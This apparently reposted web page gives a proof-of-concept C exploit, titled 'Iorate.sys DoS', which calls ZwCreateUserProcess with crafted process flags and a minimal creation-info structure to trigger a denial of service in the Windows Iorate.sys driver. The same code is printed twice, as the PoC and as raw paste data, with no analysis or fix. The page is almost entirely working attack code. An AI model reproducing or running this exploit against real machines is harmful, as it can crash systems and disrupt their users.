# Iorate.sys DoS
==POC==
struct _PS_CREATE_INFO
{
ulonglong Size;
ulonglong State;//at 0x8
ulong InitFlags;//at 0x10
ulong AdditionalFileAccess;//at 0x14
ulonglong X0;
ulonglong X1;
ulonglong X2;
ulonglong X3;
ulonglong X4;
ulonglong X5;
ulonglong X6;
ulonglong X7;
};
void IoRateDoS()
{
//--------- Parameters Start Here ----------
HANDLE hNewProcess = 0;
HANDLE hNewThread = 0;
ulonglong ProcessDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;
ulonglong ThreadDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;
_OBJECT_ATTRIBUTES ObjAttr_p = {sizeof(ObjAttr_p)};
_OBJECT_ATTRIBUTES ObjAttr_t = {sizeof(ObjAttr_t)};
ulonglong ProcessFlagsX = 0x1000;
ulonglong ThreadFlagsX = 0;
ulonglong ProcessParametersX = 0;
_PS_CREATE_INFO PsCreateInfo = {sizeof(PsCreateInfo)};
PsCreateInfo.InitFlags = PsCreateInitialState;
PsCreateInfo.AdditionalFileAccess = FILE_EXECUTE;
ulonglong AttributeListX = 0;
//---------------
ulonglong ret = ZwCreateUserProcess(&hNewProcess,&hNewThread,
ProcessDesiredAccessX, ThreadDesiredAccessX,
&ObjAttr_p, &ObjAttr_t,
ProcessFlagsX, ThreadFlagsX,
(void*)ProcessParametersX,
&PsCreateInfo,
(void*)AttributeListX);
printf("ZwCreateUserProcess, ret: %I64X\r\n",ret);
}
==RAW Paste Data ==
struct _PS_CREATE_INFO
{
ulonglong Size;
ulonglong State;//at 0x8
ulong InitFlags;//at 0x10
ulong AdditionalFileAccess;//at 0x14
ulonglong X0;
ulonglong X1;
ulonglong X2;
ulonglong X3;
ulonglong X4;
ulonglong X5;
ulonglong X6;
ulonglong X7;
};
void IoRateDoS()
{
//--------- Parameters Start Here ----------
HANDLE hNewProcess = 0;
HANDLE hNewThread = 0;
ulonglong ProcessDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;
ulonglong ThreadDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;
_OBJECT_ATTRIBUTES ObjAttr_p = {sizeof(ObjAttr_p)};
_OBJECT_ATTRIBUTES ObjAttr_t = {sizeof(ObjAttr_t)};
ulonglong ProcessFlagsX = 0x1000;
ulonglong ThreadFlagsX = 0;
ulonglong ProcessParametersX = 0;
_PS_CREATE_INFO PsCreateInfo = {sizeof(PsCreateInfo)};
PsCreateInfo.InitFlags = PsCreateInitialState;
PsCreateInfo.AdditionalFileAccess = FILE_EXECUTE;
ulonglong AttributeListX = 0;
//---------------
ulonglong ret = ZwCreateUserProcess(&hNewProcess,&hNewThread,
ProcessDesiredAccessX, ThreadDesiredAccessX,
&ObjAttr_p, &ObjAttr_t,
ProcessFlagsX, ThreadFlagsX,
(void*)ProcessParametersX,
&PsCreateInfo,
(void*)AttributeListX);
printf("ZwCreateUserProcess, ret: %I64X\r\n",ret);
}
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END













请登录后查看评论内容